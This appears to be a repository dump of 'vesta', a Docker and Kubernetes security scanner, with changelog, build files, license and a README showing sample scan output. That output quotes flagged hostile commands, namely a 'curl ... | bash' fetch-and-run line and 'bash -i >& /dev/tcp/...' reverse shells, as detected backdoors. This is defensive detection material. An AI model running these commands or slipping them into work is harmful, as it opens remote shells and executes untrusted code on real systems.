Showing preview only (420K chars total). Download the full file or copy to clipboard to get everything.
Repository: kvesta/vesta
Branch: main
Commit: a8941c99670d
Files: 93
Total size: 393.7 KB
Directory structure:
gitextract_xofttoh4/
├── .gitignore
├── CHANGELOG.md
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── README.zh-Hans.md
├── cli/
│ ├── analyze.go
│ ├── banner.go
│ ├── cobra.go
│ ├── command.go
│ └── scan.go
├── cmd/
│ └── vesta/
│ └── main.go
├── config/
│ └── conf.go
├── go.mod
├── go.sum
├── helm/
│ └── vesta/
│ ├── .helmignore
│ ├── Chart.yaml
│ ├── README.md
│ ├── templates/
│ │ ├── _helpers.tpl
│ │ ├── clusterrole.yaml
│ │ ├── clusterrolebinding.yaml
│ │ ├── job.yaml
│ │ └── serviceaccount.yaml
│ └── values.yaml
├── internal/
│ ├── analyzer/
│ │ ├── analyze.go
│ │ ├── analyze_test.go
│ │ ├── docker.go
│ │ ├── docker_history.go
│ │ ├── k8s_cni.go
│ │ ├── k8s_configuration.go
│ │ ├── k8s_dashboard.go
│ │ ├── k8s_pod.go
│ │ ├── k8s_rbac.go
│ │ ├── scanner.go
│ │ ├── testdata/
│ │ │ ├── Dockerfile
│ │ │ ├── clusterrolebinding.yaml
│ │ │ ├── configmap.yaml
│ │ │ ├── daemonset.yaml
│ │ │ ├── docker-compose.yaml
│ │ │ ├── job.yaml
│ │ │ ├── pod.yaml
│ │ │ ├── podsecuritypolicy.yaml
│ │ │ ├── pv.yaml
│ │ │ ├── pvc.yaml
│ │ │ ├── rolebinding.yaml
│ │ │ └── secret.yaml
│ │ └── utils.go
│ ├── encode.go
│ ├── extract.go
│ ├── inspect.go
│ ├── report/
│ │ ├── files.go
│ │ └── output.go
│ ├── scanner.go
│ ├── utils.go
│ └── vulnscan/
│ ├── scanner.go
│ ├── utils.go
│ └── vuln.go
└── pkg/
├── extractor.go
├── inspector/
│ ├── client.go
│ ├── container.go
│ ├── image.go
│ └── utils.go
├── layer/
│ ├── files.go
│ ├── integrator.go
│ ├── layer.go
│ └── manifest.go
├── match/
│ ├── match_test.go
│ ├── node_packs.go
│ ├── python_packs.go
│ └── utils.go
├── osrelease/
│ ├── analyzer.go
│ └── osversion.go
├── packages/
│ ├── apt.go
│ ├── arch.go
│ ├── general.go
│ ├── get_package.go
│ ├── go.go
│ ├── java.go
│ ├── node.go
│ ├── package.go
│ ├── parse_test.go
│ ├── php.go
│ ├── python.go
│ ├── rpm.go
│ ├── rust.go
│ └── testdata/
│ ├── gobintest
│ └── test.jar
└── vulnlib/
├── client.go
├── cvss.go
├── db.go
├── getvuln.go
└── oscs.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
# Test binary, built with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Dependency directories (remove the comment below to include it)
# vendor/
.DS_Store
.idea/
output/
================================================
FILE: CHANGELOG.md
================================================
# 1.0.11 (2024.7.22)
## features
- Add checking of `CVE-2025-1974` nginx ingress RCE
## improvements
- Add adaptive scanning for image scanning after Docker Version 25.0.0
## fixed
- Fixed the empty value of inside ctx
- Check the length in pod container
- Fixed the circumstance of when ETCD is not in kube-system
- Add insecure opetions for kubeconfig login
# 1.0.10 (2024.2.2)
## features
- Add checking of `CVE-2024-21626`
- Add checking of `CVE-2024-3094` liblzma.so backdoor
## improvements
- Add the severity of each Linux capabilities
# 1.0.9 (2023.8.8)
## features
- Add account checking in `/etc/passwd`
- Add filesystem scanning
- Add checking of ingress nginx
- Add BearerToken for authentication
- Add insecure and server flags in k8s analysis
- Add environment checking in docker images
## improvements
- Add the counter of each severity
- Add some rules of annotation checking
- Delete the inside flag due to duplicate
- Add `.dockerconfigjson` in secret checking
- Add Docker Histories environment checking
- Add the date of kernel compiling checking in checking of kernel version
- Add the error output in image saving
## fixed
- Fix the out of range in container extract
# 1.0.8 (2023.6.6)
## features
- Add dangerous image used checking in Docker
- Add Docker Swarm Service checking
- Add checking of ephemeral-storage usage
## improvements
- Annotate the tag of image checking
## improvements
- Add unauthorized kubelet checking for each node
- Add support of k3s and k0s
## fixed
- fix the error of compared version
- fix the error of parameter input in file scan
# 1.0.7 (2023.4.1)
## features
- Add trampoline attacking check
- Add malicious value checking in docker history
- Add source `OSCS` for malware checking
- Add Windows path Volume checking
# 1.0.6 (2023.3.2)
## features
- Add Kubernetes `DaemonSet` checking
- Add rootkit and backdoor checking in K8s and Docker
- Add k8s version checking
- Add k8s `PodSecurityPolicy` checking for k8s version under the v1.25
## improvements
- Add some rules for CAP checking
- Change the namespace checking of Secret and ConfigMap
- Improve the rules of `DeamonSet` scanning
- Change the scan rules of `Job` and `CronJob`
- Optimize the method of annotation checking
## fixed
- fix the comparison of kernel version
- fix the errors of base64 decode
# 1.0.5 (2023.2.13)
## features
- Add Docker `--pid=host` checking
- Add Python pip analysis from poetry and venv
## improvements
- Change the minimum of downloaded vulnerable data year from 2002 to 2010
- Parse the env command in Docker Histories
- Rewrite method of java libraries, especially log4j
- Change the format of output of image scan
# 1.0.4 (2023.1.16)
## features
- Add sidecar Environment Checking, including `Env` and `EnvFrom`
- Add pip name checking, detect whether package is potential malware
- Add pod annotation checking
## improvements
- Change method of rpm analysis
- Change folder structure
- Change method of kernel version checking
- Change command `upgrade` to `update`
# 1.0.3 (2023.1.3)
## features
- Add java libraries analysis
- Add php libraries analysis
- Add rust libraries analysis
- Add istio checking
- Add Docker history analysis
## improvements
- Change the method of npm analysis
- Add mount filesystem for container scan
- Change method of cilium checking
- Change the method of image scanning
- Add RBAC User output for untrusted User checking
- Revise the rules of RBAC checking
## fixed
- Fixed error of version comparison
# 1.0.2 (2022.12.24)
## features
- Add cilium checking
- Add Kubelet `read-only-port` and `kubectl proxy` checking
- Add Etcd safe configuration checking
- Add RoleBinding checking
- Optimize layer integration
- Add go binary analysis
# 1.0.1 (2022.12.13)
## features
- Add weak password checking in Configmap and Secret
- Add weak password checking in Docker env
- Add `--skip` parameter for image or container scanning
- Add Envoy admin checking
# 1.0.0 (2022.12.4)
## features
- Image or Container scan
- Docker configuration scan
- Kubernetes configuration scan
================================================
FILE: Dockerfile
================================================
FROM golang:1.20 as builder
WORKDIR /build
COPY . .
ENV GOOS=linux CGO_ENABLED=1
RUN make build.unix
FROM alpine:3.17.3
WORKDIR /tool
COPY --from=builder /build/vesta .
RUN chmod +x /tool/vesta
ENTRYPOINT ["./vesta"]
================================================
FILE: LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: Makefile
================================================
LDFLAGS := -ldflags '-s -w'
TAGS := -tags netgo
LDFLAGS_STATIC := -ldflags '-w -s -extldflags "-static"'
IMAGE_TAG := latest
APP := kvesta/vesta
.PHONY: build
build:
go build $(LDFLAGS) ./cmd/vesta
.PHONY: build.unix
build.unix:
go build $(TAGS) $(LDFLAGS_STATIC) ./cmd/vesta
.PHONY: clean
clean:
rm vesta
.PHONY: build.docker
build.docker:
docker build -t $(APP):$(IMAGE_TAG) .
.PHONY: run.docker
run.docker:
docker run --rm -ti --name vesta --network host -v `pwd`:/tool/output/ -v /var/run/docker.sock:/var/run/docker.sock ${APP}:${IMAGE_TAG} analyze docker
================================================
FILE: README.md
================================================
<p align="center" style="text-align: center">
<img src="https://user-images.githubusercontent.com/35037256/212051309-56468d85-4132-4780-9722-d1c0dcc79b1b.png" width="55%">
<br/>
</p>
<p align="center">
A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing.
</p>
<div align="center">
<strong>
<samp>
[English](README.md) · [简体中文](README.zh-Hans.md)
</samp>
</strong>
</div>
## Overview
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects Kubernetes and Docker configures,
cluster pods, and containers with safe practices.
<br/>
<br/>
Vesta is a flexible toolkit which can run on physical machines in different types of systems (Windows, Linux, MacOS).
## What can vesta check
> Scan
- Support scanning input
- image
- container
- filesystem
- vm (TODO)
- Scan the vulnerabilities of major package managements
- apt/apt-get
- rpm
- yum
- dpkg
- Scan malicious packages and vulnerabilities of language-specific packages
- Java(Jar, War. major library: log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, major frameworks: laravel, thinkphp, wordpress, wordpress plugins etc)
- Rust(Rust binary)
- Others(Others vulnerable which will cause a potential container escape and check suspicious poison image)
> Docker
| Supported | Check Item | Description | Severity | Reference |
|-----------|---------------------------|------------------------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Volume Mount | Mount dangerous location. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | Docker Unauthorized | 2375 port is opening and unauthorized. | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) |
| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Network Module | Net Module is `host` and containerd version less than 1.41. | critical/medium | |
| ✔ | Pid Module | Pid Module is `host`. | high | |
| ✔ | Docker Server version | Server version is included the vulnerable version. | critical/high/ medium/low | |
| ✔ | Docker env password check | Check weak password in database. | high/medium | |
| ✔ | Docker History | Docker layers and environment have some dangerous commands. | high/medium | |
| ✔ | Docker Backdoor | Docker env command has malicious commands. | critical/high | |
| ✔ | Docker Swarm | Docker swarm has dangerous config or secrets or containers are unsafe. | medium/low | |
| ✔ | Docker supply chain | Docker supply chain has vulnerable configurations | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) |
---
> Kubernetes
| Supported | Check Item | Description | Severity | Reference |
|-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | PV and PVC | PV is mounted the dangerous location and is active. | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | RBAC | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning | |
| ✔ | Kubernetes-dashborad | Checking `-enable-skip-login` and account permission. | critical/high/low | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca) |
| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Docker Server version (k8s versions is less than v1.24) | Server version is included the vulnerable version. | critical/high/ medium/low | |
| ✔ | Kubernetes certification expiration | Certification is expired after 30 days. | medium | |
| ✔ | ConfigMap and Secret check | Check weak password in ConfigMap or Secret. | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) |
| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolerates dangerous pod configurations. | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |
| ✔ | Auto Mount ServiceAccount Token | Mounting default service token. | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) |
| ✔ | NoResourceLimits | No resource limits are set. | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) |
| ✔ | Job and Cronjob | No seccomp or seLinux are set in Job or CronJob. | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) |
| ✔ | Envoy admin | Envoy admin is opening and listen to `0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) |
| ✔ | Cilium version | Cilium has vulnerable version. | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) |
| ✔ | Istio configurations | Istio has vulnerable version and vulnerable configurations. | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) |
| ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low | |
| ✔ | Etcd configuration | Etcd safe configuration checking. | high/medium | |
| ✔ | Sidecar configurations | Sidecar has some dangerous configurations. | critical/high/ medium/low | |
| ✔ | Pod annotation | Pod annotation has some unsafe configurations. | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) |
| ✔ | DaemonSet | DaemonSet has unsafe configurations. | critical/high/ medium/low | |
| ✔ | Backdoor | Backdoor Detection. | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) |
| ✔ | Lateral admin movement | Pod specifics a master node. | medium/low | |
## Build
Vesta is built with Go 1.18.
```bash
make build
```
## Quick Start
Example of image or container scan, use `-f` to input by a tar file, start vesta:
```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
```
Ouput:
```bash
2022/11/29 22:50:00 Searching for image
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories:
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 1 | Image History | - / - | - | 0.0 | high | Confusion value found |
| | | | | | | in ENV: 'command' with |
| | | | | | | the plain text 'bash -i |
| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 |
| | | | | | | '. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 2 | | - / - | - | 0.0 | medium | Docker history has found the |
| | | | | | | senstive environment with |
| | | | | | | key 'SECRET_KEY' and value: |
| | | | | | | 123456. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
```
<details>
<summary>Result</summary>

</details>
Example of docker config scan, start vesta:
```bash
vesta analyze docker
```
Or run with dokcer
```bash
make run.docker
```
Output:
```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
```
Example of Kubernetes config scan, start vesta:
```bash
vesta analyze k8s
```
Output:
```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
```
<details>
<summary>Result</summary>

</details>
## Help information
```bash
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta
```
## Event
### KCon 2023 Weapon list
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
================================================
FILE: README.zh-Hans.md
================================================
<p align="center" style="text-align: center">
